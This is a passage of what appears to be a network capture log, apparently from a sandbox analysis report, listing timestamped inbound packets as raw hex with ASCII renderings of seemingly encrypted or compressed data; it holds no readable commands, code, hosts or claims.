2021-12-28 04:19:41 UTC	1253	IN	Data Raw: 8d 63 58 9c fc d7 ea 1d 81 f2 dd 73 7d ce 1b 89 b1 fe 93 3c 8e 9c b1 59 a9 16 e9 ab 54 a5 8a 0c f8 41 f5 23 ff 2f 79 12 63 7a 70 ef bb e0 3e d8 e9 b7 5c 6f d2 6d d8 b3 2e ff 51 33 61 bf 1f 9a c0 35 b9 8d b5 12 c3 3a 0e b5 9f e2 f4 f8 f6 7f 84 19 82 06 9f de 0e b4 1d e7 55 ca 5e b5 4d 73 14 60 2c 67 42 77 d6 6c ff cb 42 1e a2 ef 46 1e 92 e6 06 15 5e 47 63 bc 5a 73 f3 2b b7 12 20 5a 30 4a 60 44 69 43 78 72 81 83 a1 af bf f3 fd 6a 53 14 e4 90 74 2c 0e 96 7e 35 af ca 45 6d fe 35 46 5e c7 0f 40 7e e4 47 34 94 2e 27 42 c2 da 1c 4a f4 86 c1 73 4f 21 43 97 d4 48 9e e6 e0 0a 8b ce ae 81 dc a2 a0 6d fa a4 e4 e6 ea c9 dd 4d df 4a 18 02 ed 45 31 bb a1 d9 4d 81 a8 f8 8b 8d c4 1e 5b d5 f1 8f 0e 8c c1 cf 97 6a 86 f9 7c 3e 76 c5 e0 31 da 28 66 c3 85 35 78 22 b1 44 41 2f Data Ascii: cXs}<YTA#/yczp>\om.Q3a5:U^Ms`,gBwlBF^GcZs+ Z0J`DiCxrjSt,~5Em5F^@~G4.'BJsO!CHmMJE1M[j\|>v1(f5x"DA/
2021-12-28 04:19:41 UTC	1257	IN	Data Raw: d5 9c e5 41 d9 22 3d c0 b8 4e de 1e be 00 d2 24 a5 e1 41 5e 24 b8 29 db 5c 09 48 7f 6b 10 01 0b 69 88 4e 04 63 29 f6 dd 8e a9 60 38 e1 b7 e0 fd 15 42 27 ad 0e fd 54 df 52 7e 07 c0 aa 6f 7b 6a 20 49 d9 f1 40 77 8e f7 73 39 2f 4c 03 66 c9 12 58 69 52 fb 79 b5 6b 35 9f ea c7 36 bf 8e 04 9b 8f 24 2d f2 ac ae 0e 24 ba 3e fd 95 a9 71 06 1d 54 e6 72 06 88 cc 2c d2 0f 7c 00 3e 27 5d 10 17 9f c7 61 a9 c5 c5 9c 6d 25 47 3e b9 6c 8c ad 50 f3 e1 4a 95 65 22 42 3c 4c 3e 6b a4 09 e9 e7 9a 79 91 5f ae ab ef 3f fd 9f de f9 67 01 99 a5 cc b6 56 d0 85 39 66 c2 f8 7e 93 97 9e 5b 36 af 9d 8a b9 34 05 0c 69 26 bf d7 5d ba 6b d9 c0 b1 dc e3 f7 bd f2 ee 80 a0 07 fb 35 87 d3 64 9b c8 e1 55 2d 56 be 66 e3 ea f4 eb 07 c7 98 da bf 0e bc ed 5c 8e 88 db 60 d4 b5 aa fe 4b 3b fc e8 e2 Data Ascii: A"=N$A^$)\HkiNc)`8B'TR~o{j I@ws9/LfXiRyk56$-$>qTr,\|>']am%G>lPJe"B<L>ky_?gV9f~[64i&]k5dU-Vf\`K;
2021-12-28 04:19:41 UTC	1261	IN	Data Raw: 4f ba 7c 2d ae dd 50 78 db 58 08 ba fb f9 c1 de 28 6c 37 62 d6 38 e9 5c 34 de 94 bb 77 ea e3 05 32 eb 11 39 ee 5d 60 f7 7f b6 11 d9 bb ba 00 1c ba 90 e9 7b 70 07 bc 53 e9 d9 1f c9 52 ef 1e 04 6e d1 0d 8d cd bf 49 e3 a0 dc 6f 4f 20 61 58 78 07 b1 38 02 5a 55 48 d1 7e 53 23 ae 19 d0 08 b8 92 cd 3b 13 32 47 b2 a7 97 1b 68 63 f0 e7 f9 66 11 27 d4 31 19 81 f6 06 54 65 21 f3 36 bd 65 4c 0a 09 c7 15 f3 c6 71 e8 ee f2 7c 61 cf 5c ff 7f f1 b0 c5 c9 73 32 20 95 41 0b 31 9f bd 7c 88 40 66 d7 6d 44 34 e0 82 0d 8f 9e a3 92 cf ef 5a 25 a9 7e 14 56 57 72 60 55 f7 19 fa f6 8a a9 bb 76 64 d8 7a 12 00 1c ce ee 4b 5b 44 c6 dc 15 bf 55 23 46 d4 d5 8f 26 aa 81 4b 3e 4d 9d 91 d7 f5 33 8b d2 f3 c0 8e 8e 20 4d ba 2a 56 d4 7d c5 3b 23 46 95 fd 4e 2a ca db 35 66 b5 04 ac 18 f7 39 Data Ascii: O\|-PxX(l7b8\4w29]`{pSRnIoO aXx8ZUH~S#;2Ghcf'1Te!6eLq\|a\s2 A1\|@fmD4Z%~VWr`UvdzK[DU#F&K>M3 MV};#FN5f9
2021-12-28 04:19:41 UTC	1265	IN	Data Raw: 3a 47 cd 0c 14 96 d0 3a 8a 02 81 27 fd 98 a1 e5 34 36 d1 6a e2 a3 b4 3f ae a7 49 0e 0a 48 54 e7 30 57 e1 d2 f1 55 dd 82 cc 08 c6 df 1d 27 bc 9b 11 9c f8 1f ee 27 35 3e 43 09 ec 31 56 90 eb de f6 9f c5 d2 6e d6 b8 28 21 22 94 c2 4c 53 d8 67 8e e1 67 1b b6 8e 9d 7f 6e e3 60 96 56 60 f9 a3 e6 ea 30 96 67 2a fb 84 c4 fa 34 5b 4f 89 2e ff 1d 3f 77 0d aa 90 e1 6c 3f b9 0d 52 43 82 86 bc 30 fb c4 9b d9 3c 12 6a 3a 59 c6 0a a9 4e d4 6b 1e 14 2c 35 03 9a 61 c0 c9 60 4a 13 3f 3e 92 29 44 5c fd 68 9f c1 65 be 49 05 2a be 4b 8a 08 8a d3 d4 f9 66 52 20 36 db d7 e7 7c 50 5b 41 e3 db df 51 e8 a1 c5 7f d1 4e 6c 53 4f 20 fc 4c b6 08 c4 bb e2 c2 bd eb 47 a9 f5 80 cd ca 11 fd d4 c2 cc 2a ae 71 36 17 00 42 ce bc 8d 88 0a b5 fc 89 4f 66 8c fe f9 b6 76 4a 4a c8 b9 51 16 dd be Data Ascii: :G:'46j?IHT0WU''5>C1Vn(!"LSggn`V`0g4[O.?wl?RC0<j:YNk,5a`J?>)D\heIKfR 6\|P[AQNlSO LG*q6BOfvJJQ
2021-12-28 04:19:41 UTC	1281	IN	Data Raw: 1c 24 c1 5e a2 4c ed 92 d1 18 ce 18 23 13 de 28 19 58 39 76 6b e6 8d d9 f5 cd 9e 51 8f 89 d1 ea 8e 60 a5 d7 3b e6 e7 d5 15 92 f8 49 ba c1 a8 65 71 da e2 e8 7e c7 77 e6 6f a7 b6 d9 74 20 06 61 18 5e 10 8c b7 9f 7c 2d 0d 94 d7 16 59 cd 98 aa 67 3a 73 f5 78 f3 a3 e2 11 d5 a3 14 0c 92 bb 5c ee 37 ea 0c 81 75 81 22 5e 8a 06 6d 41 5c 2d 7f 4e bf b9 b5 cf 95 cd 96 31 99 cd 74 2f 6f 0c a9 5b 0f d0 5b b0 58 0c 18 d8 25 e1 ba e2 56 44 13 79 15 9f f4 cf a4 7e cd 9d 6f 32 6a 45 6d 54 51 ce ac e8 e6 1e 83 c7 b2 7e cc 07 c0 05 b5 76 30 0e 05 10 74 41 68 33 d7 f5 30 f9 48 72 52 10 44 95 21 ca 37 84 07 a7 08 5f 04 e2 b3 48 f2 ac 2a 5c a5 58 25 2e 71 e7 06 38 dc 7f 30 28 31 18 77 53 63 60 9a 6f af 41 42 32 8b 33 97 db 25 11 ef 99 c8 f5 d8 ec 5d 5a 0d 0c a6 c1 bd cb 38 43 Data Ascii: $^L#(X9vkQ`;Ieq~wot a^\|-Yg:sx\7u"^mA\-N1t/o[[X%VDy~o2jEmTQ~v0tAh30HrRD!7_H*\X%.q80(1wSc`oAB23%]Z8C
2021-12-28 04:19:41 UTC	1297	IN	Data Raw: 47 56 7e 61 39 8d 64 af fe f9 78 4a a1 aa cf 64 f9 fc 4d d5 3e 9e a3 74 08 7d 0b 87 ba 74 04 77 af 94 f9 37 f1 e6 fb c0 eb af 25 ca 61 2b 91 92 0f 44 db 68 f7 f4 e1 b1 45 da b3 b4 5e 9e 35 c3 46 ac 3e 31 d2 99 0e c8 f7 ef fe 70 66 ee 24 33 ee 92 f6 cc 7d 19 6f a1 e8 b5 c6 da 99 54 2e de cc 24 ba fa a7 e9 93 56 6b 49 4a 8e d8 a8 a1 59 ce 1d ab b7 b7 4e ae 40 aa 6e 80 c0 82 1b 09 48 86 9f 39 9b 51 b5 62 3c f0 e4 ef 51 51 d5 51 2b 37 0a 2e 41 06 5b 51 82 19 40 e9 13 ce a1 a0 a8 99 b6 84 a6 a0 99 11 a0 d6 84 32 70 28 de 46 75 ec 0f e5 df aa 60 96 ed 62 45 07 27 63 1c e9 71 aa 8b b3 05 ed 2f c5 ab d7 27 53 12 ab e9 90 5e 3f c8 e2 6e dc bc db 40 77 79 69 92 bd dd 29 ae 98 c2 da 37 d6 ac f1 21 56 9a b4 3a a4 9b 4f 40 65 2d 08 60 30 22 6c 5a da 06 41 bb 72 81 1d Data Ascii: GV~a9dxJdM>t}tw7%a+DhE^5F>1pf$3}oT.$VkIJYN@nH9Qb<QQQ+7.A[Q@2p(Fu`bE'cq/'S^?n@wyi)7!V:O@e-`0"lZAr
2021-12-28 04:19:41 UTC	1313	IN	Data Raw: 46 b0 3c 92 4b 43 1f 2e 7c 04 48 9b d8 eb 96 ff c8 87 25 03 31 ba 91 7a cf dd 57 74 41 0b 21 99 77 43 c6 3a e8 37 fa 1c f8 43 f5 19 ed 0a 41 9d ac d1 35 b2 c9 df 6d 6a 58 cc 74 80 88 59 12 4d 3e 29 98 37 d6 d5 08 af 52 ff cd 78 14 12 2f 5f 6c b3 4c 8e 1b 02 27 6b ed ed cd a9 91 eb 19 92 0f 7a 60 06 70 ee fd 02 06 a2 b9 e1 bb 54 00 6d 34 d4 b4 e8 fe 05 68 96 9a 6e e4 91 f1 3c b1 05 6e 93 80 a7 d4 d9 49 49 86 d6 4c de 24 19 e3 5a 55 aa f8 d0 ba 53 10 c7 de 8c a5 53 d4 c5 95 76 aa 0d 57 90 23 5f 60 e4 38 5c 13 72 d6 bd c5 ad df 8f bb 91 aa ee f5 0f 8d 6d 68 0c d3 de 5d 4b 45 95 88 0c 11 30 03 f3 2c 11 af 9c 8b dc af e8 ac 6a 1f 41 30 33 a3 b5 f2 d1 91 41 b8 3e 5d 09 11 c5 2a 23 9d 09 56 d5 6b 14 28 76 e5 de 30 be ec ff 2e 94 db db f3 73 d4 d0 c3 61 2b dc ac Data Ascii: F<KC.\|H%1zWtA!wC:7CA5mjXtYM>)7Rx/_lL'kz`pTm4hn<nIIL$ZUSSvW#_`8\rmh]KE0,jA03A>]*#Vk(v0.sa+
2021-12-28 04:19:41 UTC	1329	IN	Data Raw: 68 5f 1a 79 83 65 59 12 e4 72 64 8a 76 1f a3 97 9e 48 e4 97 1a b0 85 55 a1 80 3a a0 50 eb 43 5f 76 32 45 02 fc 6f 44 b4 96 b6 28 2d 53 c2 c6 61 ca 56 e9 14 e1 24 33 b4 0f f3 18 32 e9 7d 73 98 6f 94 bd b6 e0 5f f7 e7 af 34 c3 30 18 18 d0 a2 f3 e8 ca f5 66 ba d5 48 c6 4c 8a 1a 5d 63 d3 c0 db ca 65 2d 14 c8 7a 81 55 67 8a a2 97 39 0c a8 60 2a 82 a5 27 d9 a6 e2 ba 70 66 e7 5f b2 8c 50 ff d5 d0 16 0d 79 d5 66 e7 2c d1 26 f3 50 38 36 6f fd 2e 12 12 a2 d7 07 a7 53 e8 29 18 53 8a 89 70 80 af f7 89 25 1d f4 e7 9c 48 1b 64 e7 80 65 9d 06 c7 d1 c0 b0 9b e3 f2 30 c7 db 13 68 7a 14 92 64 87 64 82 ef 14 cf 01 20 24 90 7f ed a7 ae 99 f1 ed b2 86 45 42 a0 35 4d f2 32 d8 18 70 d0 f1 45 4f d0 1c 4b a0 04 3a 98 ee 0a b4 16 56 34 30 7f c5 54 99 1e 30 df d4 6e 8c e0 2c e8 ce Data Ascii: h_yeYrdvHU:PC_v2EoD(-SaV$32}so_40fHL]ce-zUg9`*'pf_Pyf,&P86o.S)Sp%Hde0hzdd $EB5M2pEOK:V40T0n,
2021-12-28 04:19:41 UTC	1345	IN	Data Raw: 60 29 23 b3 d3 95 5b ef df 82 8b aa 77 74 52 74 5f df 78 2d d0 77 1b 5a e2 c7 7e 58 fd 7e 12 14 dc ab f1 dc 81 28 39 2a 54 74 54 db 72 60 95 7e 0c 0f 7c e7 3d 0c a7 f7 a3 b8 b7 ba a0 f5 c0 81 90 9b 09 61 a3 b2 4a f2 4d 2f dd ec 2b b1 17 a7 6d 6d 86 90 98 7d 9d e6 75 ee 31 3d 99 7e 06 48 61 d4 6d c0 ce 14 0a 64 b5 e4 0c d6 6a 70 c8 b1 6e 46 e9 0b be 1c 23 11 c8 a2 14 50 87 6a ad d8 4f 61 2f 19 3d 6e 89 af 63 dc 90 d0 04 0e 13 6d 01 c2 af 92 da 5e 92 40 c6 d6 8d b6 3e 38 f3 7f 44 d7 97 77 e2 32 0b 63 3c 23 50 2d 14 d8 20 09 94 d7 d9 4b 5a d9 16 ec 67 39 f9 7a 3c 91 9f 45 25 00 18 8f 6a c0 d9 24 06 1e 4e 9a c3 7d 81 54 77 11 c4 6c 59 20 e8 20 f8 36 67 f6 53 68 28 da 7a 42 39 50 01 0a 0b 81 5f 10 f9 c4 fa bb 70 8c aa b5 d7 e5 6b 2b a7 bd d6 ba f8 29 af 75 f7 Data Ascii: `)#[wtRt_x-wZ~X~(9*TtTr`~\|=aJM/+mm}u1=~HamdjpnF#PjOa/=ncm^@>8Dw2c<#P- KZg9z<E%j$N}TwlY 6gSh(zB9P_pk+)u
2021-12-28 04:19:41 UTC	1361	IN	Data Raw: b5 60 48 49 25 46 74 7b 78 7d 46 14 fa e5 9d 88 75 b1 65 39 2d 68 c4 bf e8 37 4e f9 80 83 85 c6 2f 64 ea 11 47 da ef de ae 9c 7e bc 17 13 b1 20 7e 61 c0 8f 38 cf 0f 71 85 f9 b6 57 74 c5 f6 71 36 61 69 a3 07 79 69 d1 8d 63 1a a8 cf b1 b7 3e ee d7 27 27 91 0b ab 1f 5c 59 ff 41 5b 80 9c 38 f1 cb db 64 52 eb 85 fe b5 37 44 04 5e a6 cb 0a 70 9a 29 c2 3b 5f bf ca 06 b4 e9 69 1c 76 71 f0 1d c3 65 6d 9b df 5b 87 b9 14 39 2b 67 a0 b6 67 9c 13 99 09 c7 ab e9 f9 70 4a 31 d7 a4 2f a7 a4 df d0 dc a2 65 1d 27 9b 50 50 98 47 38 cd 74 82 65 3b 81 0c 1d e5 37 cd 2b 71 f6 6e 9a 72 d5 8f 3c 2b f8 09 3f 82 37 7b da 4e b7 8b 12 23 84 12 92 a5 b7 89 4f 85 00 18 eb 99 58 8d d9 df d7 ce 78 47 51 20 94 0b 22 79 1a 79 bc f4 37 7b 31 ca f7 02 c9 60 11 0d 40 c3 55 54 ae 33 99 cf c4 Data Ascii: `HI%Ft{x}Fue9-h7N/dG~ ~a8qWtq6aiyic>''\YA[8dR7D^p);_ivqem[9+ggpJ1/e'PPG8te;7+qnr<+?7{N#OXxGQ "yy7{1`@UT3
2021-12-28 04:19:41 UTC	1377	IN	Data Raw: 95 70 2c 84 9f 83 98 4b aa 6f f9 b0 1b 96 b4 07 97 60 75 35 64 a8 09 96 df cc c4 10 6f f3 d0 cc e2 1c 2f 4d 41 4f b2 54 ac 3c 87 fd 92 38 e8 56 71 b1 cf d5 df 4b a1 a6 20 19 d2 0d bc 22 70 6e 5d c1 7e 1b 7c 0a 6f 51 f5 39 09 61 8b ae 39 f0 e8 ff b1 d0 57 d0 37 53 33 f6 15 ff 1c b5 f5 2e 70 3b 8a e2 5e a9 f0 27 49 b1 bc 7a 38 af 50 50 d6 9b 54 9e c7 ee 9a 25 f0 78 00 4b 1d 19 f3 6e 28 5f ab 0b df c5 47 e2 f2 13 9b a1 60 2c 00 67 a8 ee d3 b0 65 dd 8a f6 b2 4d 81 3d 49 86 d8 6b 31 e2 98 83 69 30 ca 30 ae 33 e0 4a be d1 0a 3d f7 0e 02 23 25 b3 1b c5 b5 35 32 9e 6f 90 64 83 57 de 4f d2 28 09 ea 34 37 98 da 0b 93 f7 ea bf 85 47 e5 22 fa 31 d1 6f be b5 78 66 14 90 3b 46 46 48 39 9f 7a 01 bf 14 79 71 ee 3b d7 3f b5 76 df c6 fa aa 47 74 d6 2f 8e 3f a0 18 ed 71 16 Data Ascii: p,Ko`u5do/MAOT<8VqK "pn]~\|oQ9a9W7S3.p;^'Iz8PPT%xKn(_G`,geM=Ik1i003J=#%52odWO(47G"1oxf;FFH9zyq;?vGt/?q
2021-12-28 04:19:41 UTC	1393	IN	Data Raw: ec 43 ea d3 de 1e 83 0c 54 8a 28 14 6f 0a 3a 8b f4 7c 98 e3 05 bd b3 cd 92 aa 21 64 16 20 44 02 5e e5 c2 cc 92 ac e3 cc 29 8b 40 bd 5e e5 86 46 9f 36 e8 75 1f d5 a6 4e 7d 88 1b 05 df 22 f5 95 2a 25 99 9e 2e c6 ee 58 cc db c5 e5 b7 9e c4 17 66 de 52 e8 75 65 62 d7 d4 aa 0f a9 2e c4 ba 74 e9 82 5a 8f 6d 6c df 53 83 d5 90 bd cc 4a cf e9 35 b1 b3 9d f5 98 3e 55 09 c8 d3 93 86 be a5 ed bc 8d dd 0b 9e 64 20 50 57 99 24 68 8a 70 71 12 cc ff aa ea e5 fa ee dd d4 fd 34 81 ab 18 86 4f ab 43 29 8b e2 13 50 b4 7f cd 00 25 40 d4 05 73 d2 4c 75 d5 40 04 b0 07 de 7d 74 6b eb 60 1a 15 2e c6 10 f9 64 34 b7 6b ef 2a b3 1d 99 d1 ba 20 2d a7 a1 3f 45 89 e2 c9 01 a9 3f 98 9c 13 d7 a0 d7 95 93 28 e8 75 5b 82 ca dc a9 d3 e6 91 2b 6e ab 70 71 63 c6 61 c4 14 02 ee 4b be b0 c8 4e Data Ascii: CT(o:\|!d D^)@^F6uN}"%.XfRueb.tZmlSJ5>Ud PW$hpq4OC)P%@sLu@}tk`.d4k -?E?(u[+npqcaKN
2021-12-28 04:19:41 UTC	1409	IN	Data Raw: fe b0 68 93 8e 87 7d f3 0c be b0 43 7b 3f 40 2c dd 67 d3 f5 5a 6a 53 fc 4b 40 c9 8c 66 d5 33 c4 11 c4 59 8a 48 14 d7 3e 2f 5b 80 85 d0 c8 53 46 ec 06 75 e6 01 7c 12 31 e2 a8 66 13 4f 6f 11 06 c5 6c 0e 11 89 d7 21 0a 8a 19 3d f7 cb ef e2 53 a6 b8 c6 93 33 01 8a 18 c7 8d 80 8d 69 54 d7 dc 07 50 a1 be 3b 49 84 39 94 0a ec 0e 40 2a 1c 98 4b d9 18 43 76 17 1b e1 3a cc 4a 8f ea 28 ad 86 a7 fa 71 06 a9 eb 09 4b 84 76 9a ab 84 95 14 63 95 b2 47 f5 2b 80 44 30 b1 52 5b 00 ad 02 bb 36 38 5b e2 72 ad 2c 04 a3 2a df 8e a1 1b 2b a5 94 e5 f9 86 4d 66 29 a1 d2 7a 47 b4 47 9a 4e d6 85 cc 23 10 02 19 2c 3a cf df 1f cb 4a 2e d4 87 f8 fd 84 71 8d 90 a6 60 34 fe b9 a3 55 51 eb 23 88 ec 59 58 89 81 34 a3 ca 2e fb 64 5e 8c ad e8 bb 85 52 77 4a 70 08 81 2d 2c 23 4b c0 70 06 cd Data Ascii: h}C{?@,gZjSK@f3YH>/[SFu\|1fOol!=S3iTP;I9@KCv:J(qKvcG+D0R[68[r,+Mf)zGGN#,:J.q`4UQ#YX4.d^RwJp-,#Kp
2021-12-28 04:19:41 UTC	1425	IN	Data Raw: 1d bb c5 19 47 81 c1 66 b5 06 3e 20 82 95 78 03 ce 05 24 2e be 70 50 a7 21 4b 0c 7b 48 e9 e8 98 ae ac d1 69 7a 93 5a ba 01 0a e9 0b de 33 7e bb c2 0c 8a 01 1b 06 26 07 b4 03 27 f4 89 f2 50 c8 3c 2c b1 cf ac d2 3c 14 f7 c3 ab 5e a3 31 f7 06 9c be 9f 93 93 3a 39 94 4b 0c c5 29 dc 10 02 38 2c 2a 7b 54 48 c7 7d 25 95 da b9 f5 16 83 2b 45 d1 03 04 37 7f 98 25 68 7c c0 7a a2 c1 02 24 0d f3 73 09 eb 85 8e 41 d6 0f 67 10 17 7b 10 11 9a 26 27 d1 8d 94 69 04 ae 77 c1 d4 89 e5 6d 40 50 c8 56 cd 56 6e 31 1a 45 9f 3b 26 fc e0 92 3c 95 e2 e4 55 e3 be 74 31 37 fb 76 f6 29 fa 40 b8 46 85 a5 65 33 1b 5f e4 17 b6 77 f4 f1 29 ec 7b a8 8e 20 ef 7a 2e 69 47 b6 e0 c5 36 88 a5 17 75 07 19 b5 fe 25 f0 af 76 1e 28 ca dd 9f 23 a9 59 9b 57 07 1e aa 33 b3 65 2c 6a 87 b8 7a d9 36 87 Data Ascii: Gf> x$.pP!K{HizZ3~&'P<,<^1:9K)8,*{TH}%+E7%h\|z$sAg{&'iwm@PVVn1E;&<Ut17v)@Fe3_w){ z.iG6u%v(#YW3e,jz6
2021-12-28 04:19:41 UTC	1441	IN	Data Raw: 5d 4b a7 6e 16 fd a2 a0 90 5f 51 c0 4c 9f 41 45 c4 4d 23 d6 69 80 17 3f 75 ff bd e8 86 37 62 35 b3 08 4d 88 c8 27 2a 0d 5d f0 d1 d1 74 f2 14 21 c4 fd 2f cb d0 02 27 6d 72 ff 75 31 f2 be 16 e7 9c 42 56 a8 a0 39 64 15 44 31 29 af b6 20 a6 c2 80 4f 84 2c 3f 2d 91 b4 9a b3 dc 83 83 90 6d 98 c2 b4 0d 92 a5 b9 2f 17 c9 ef b2 8a f2 6f b1 42 84 ab 45 2b 1f 67 5a ed 85 9a 30 2c 14 50 70 fc 64 8a 9e 98 72 79 b2 7a d6 13 f7 bc 96 7b 17 3b 9b 56 37 1c da 2d 46 48 4a 23 6f 4d 55 57 1c f1 f4 bd 2b 04 89 70 31 3d ec 1d c4 85 bc 0f dc a9 db 2b 00 6e 91 05 c4 b9 73 5c 4f f0 12 9e 10 e9 ca 6e b2 ae b8 08 22 c9 ab ad 8d 02 d8 78 df 0c 63 d7 b9 dd 6a 49 eb ad a7 b8 84 55 aa a2 8d 44 3c 42 5c 02 12 ed 73 b8 ca 0c ca c8 5e 14 ca 99 57 3f ba 8f b3 68 77 1e 87 c0 36 43 9d ec 94 Data Ascii: ]Kn_QLAEM#i?u7b5M'*]t!/'mru1BV9dD1) O,?-m/oBE+gZ0,Ppdryz{;V7-FHJ#oMUW+p1=+ns\On"xcjIUD<B\s^W?hw6C
2021-12-28 04:19:41 UTC	1457	IN	Data Raw: 1b 7f 1d 9f bc af 92 2d 2a a6 27 c9 69 c6 3b 91 2e 93 29 fa b6 34 48 85 8b 32 28 e6 3c 23 8f 34 35 13 b1 53 f1 b3 35 85 a7 33 31 8d dd ab 71 be 67 9b 43 07 fd 34 a8 62 07 a5 62 dc 5b e4 5a 68 36 e8 89 d7 f4 f9 15 5a 90 ff ea 2b 2c 39 73 6a 77 bc 5e 93 59 44 20 a3 78 e2 3e af 47 49 1d 32 0e a2 27 ea 65 08 f3 51 0d c9 f3 9a 75 a9 6e 09 de 21 05 ff 1d 49 33 c9 f5 31 e0 61 20 50 63 95 15 d3 38 66 2d 2b b6 75 c6 24 a0 16 ef 96 ab 29 da 00 b3 a8 ef 44 4c 41 f3 72 5b be 79 e7 b8 b0 41 81 57 4b 85 ff c1 b0 db b0 87 5e cd 33 c8 7b c4 5a ca 12 98 14 ec 71 e8 2b c1 70 7a de c5 a0 5c 41 3a 65 46 0a df c2 6f b8 83 fa af 6b 26 2e 85 bd 3c 47 7f e0 e3 c4 f6 ad 9e f9 5c 91 2c 7a 5e 96 ff 08 75 47 24 aa 1a 50 72 dc b2 9b 4f ef f2 ed b6 73 5d c6 11 5f 09 20 11 ed 5c b1 f0 Data Ascii: -*'i;.)4H2(<#45S531qgC4bb[Zh6Z+,9sjw^YD x>GI2'eQun!I31a Pc8f-+u$)DLAr[yAWK^3{Zq+pz\A:eFok&.<G\,z^uG$PrOs]_ \
2021-12-28 04:19:41 UTC	1473	IN	Data Raw: e6 76 4a 5c 6b 4d 78 cb 99 96 d7 7d 88 68 d4 d6 7b 3c 8c 11 e7 09 36 86 19 2c e1 e6 27 90 1f 75 cf db 40 1f d0 da 92 a5 17 ee f1 54 56 4c c6 cb cf dc d0 cd f1 a4 83 33 81 d5 2f 72 75 7f 77 13 86 c7 27 8a 31 8d 93 8b 0f 79 cd a1 8e 90 67 a6 3f 3e 68 b5 f6 2b 10 d8 bd 64 06 71 67 ba f5 3a f4 5b 10 85 b6 6f 4a d0 6f 3c 80 a2 70 9b d3 48 04 c7 e1 df b6 cb 6e 4a 47 b8 fd b5 2b 81 b5 d0 1a 45 0c 38 2e ea 1b e0 19 d0 84 13 c7 e8 01 25 12 e9 d8 2a 21 93 8e da 72 13 12 5e d4 6a 49 72 36 5a ee 65 35 c8 43 ef d3 6e 0f 11 b7 6c b3 cc 4d 02 3d 32 3e 7b e9 55 99 dd 07 36 c0 f6 35 a9 ea 57 f2 fd 81 e1 7d 68 e7 9b ab 78 3d 87 86 b7 35 3c 6d f2 c9 3a a6 d5 92 2c 60 16 8f cb 07 76 b8 e9 3e 34 f0 c5 c5 e2 01 12 92 1e 42 79 f2 28 57 1a ab 1d 2d 62 d4 fb e6 4f 38 e1 3d cc bd Data Ascii: vJ\kMx}h{<6,'u@TVL3/ruw'1yg?>h+dqg:[oJo<pHnJG+E8.%*!r^jIr6Ze5CnlM=2>{U65W}hx=5<m:,`v>4By(W-bO8=
2021-12-28 04:19:41 UTC	1489	IN	Data Raw: 65 7b d6 a5 d7 0f bf d3 0d 23 48 a5 97 0d d2 3b 66 3c e8 b3 0e 73 05 be e1 d6 a0 3c 95 71 8b 8b cb 6c 13 5c 3a 44 de c0 4e 40 e8 ab 8e 38 28 ab e7 6e 49 c7 17 18 26 85 a7 88 74 b8 df 76 a0 b8 1f a5 79 7a ca c1 52 a3 6a 2b 0a 82 5f c5 d5 65 d7 c9 9e 06 cf 94 ff 03 2c b2 6c f8 46 5e 2c 62 a5 a8 c8 8b b6 30 91 be 51 bd b8 a6 f0 55 d8 4e b5 c0 83 97 08 5b 2b b0 2b 1a d7 d3 c2 95 9e c2 de 62 2b bb 8f c8 5f a8 7c 3b 93 1a 95 1f 3c 03 49 80 f3 98 f5 4e 9f b4 17 db 79 e5 6e e4 83 8c 6b 01 b0 f3 0a 34 83 d6 25 2c 16 ce b7 ce de 62 18 2a 32 c0 42 f7 25 30 47 19 84 0a 27 df 82 03 08 4a ee 66 fe d8 d1 01 82 e6 77 b9 f0 89 ba 4e 74 a2 00 78 a8 ec 7b 24 7f 8b 28 17 fc 50 63 22 67 52 98 c6 e1 f2 be 11 62 a9 7b ab 44 81 73 71 8c e0 8c 65 6e e1 a2 99 b9 0a e2 ab f9 6c 37 Data Ascii: e{#H;f<s<ql\:DN@8(nI&tvyzRj+_e,lF^,b0QUN[++b+_\|;<INynk4%,b*2B%0G'JfwNtx{$(Pc"gRb{Dsqenl7
2021-12-28 04:19:41 UTC	1505	IN	Data Raw: d0 48 33 a7 b1 64 8e 8f d3 db 51 46 65 1f ec 42 24 30 a7 c7 ab f0 89 80 bb 88 56 e1 57 80 36 4b e1 5e 3c 94 e9 47 2b cd a6 79 5f 63 38 6e 1a 8f 2b c1 3f 04 ee 40 96 d4 9d fc 1f 15 0d ce 2a be 2e 8e 80 f2 a9 4c 32 59 46 1e 7a b8 63 13 e6 41 31 65 e3 3d 2a 9c 84 d7 12 85 6d 25 9c 30 a3 d8 ef a4 73 d5 f9 16 b0 37 39 7d 4d 18 c7 94 05 29 e2 69 4f 2e 9c 1f 57 d9 8c 0c 36 8e 4e 54 7e 41 97 ad 27 cc 59 51 ce 13 45 07 3e 85 36 c0 6b 45 64 62 01 b9 ee 2c 43 be f4 c6 20 22 70 9e 33 86 f7 79 32 38 af a9 e4 c6 a1 d7 8b 71 fc 04 1a e9 ca 0a 6f e0 af 49 19 8f 90 5b e6 ce ec 2c 62 74 18 56 17 3a 2b 1b 8d 30 d8 69 f3 52 ca 7d 92 ea be 5e 93 59 55 b0 d5 73 c2 a1 8a 56 30 99 fa 1f bb 53 d3 38 43 74 1c f0 46 2d 8c 5b a6 25 28 a9 3f d2 a7 aa a4 08 ea cf 50 84 19 70 b1 64 96 Data Ascii: H3dQFeB$0VW6K^<G+y_c8n+?@.L2YFzcA1e=m%0s79}M)iO.W6NT~A'YQE>6kEdb,C "p3y28qoI[,btV:+0iR}^YUsV0S8CtF-[%(?Ppd
2021-12-28 04:19:41 UTC	1521	IN	Data Raw: 57 58 a2 95 ea a9 5b e0 07 4c 0a d5 d1 3b f8 28 4b 5c c5 c4 8f c3 23 fe 22 c6 24 98 24 77 f7 55 aa 04 71 88 ab 6e 2f 3a 18 0b 27 6e 74 92 2f cf 67 d2 2b 04 52 a5 46 c4 c7 9d eb dd 8a c1 13 c9 b9 6b 27 57 fe c0 d0 b2 0a 06 66 c2 a2 94 ae 1a 81 ee 70 e2 f0 34 db 8c 25 d7 62 00 6b 52 c2 72 ec 26 46 e9 3f 2d 96 51 23 fe 58 59 63 4b f7 2f 28 72 ac f4 cc 73 f7 aa c3 3a a8 f1 69 ea f1 dd c8 e7 5f 6c 1e 17 ac 14 2a 97 a5 d0 5e 32 f3 de 13 b8 7e 83 dc 3a 41 71 5c a4 49 70 96 a5 23 23 ad 5b 3b 8d b1 51 f7 1c f7 08 05 ed bb 7d 3b a6 8d c0 de f8 a0 15 bc 3e 9c 4c 4b 43 29 6e 38 d8 7b 2c b5 0e 2f 5c a4 c3 63 72 b9 d0 16 57 c6 c9 a5 7f 25 7e 0f 05 32 dd 7f 2c 4f 99 8a 2b 80 f0 e9 40 3e cc 0f 38 5e 09 5b fa 92 3e 27 cd 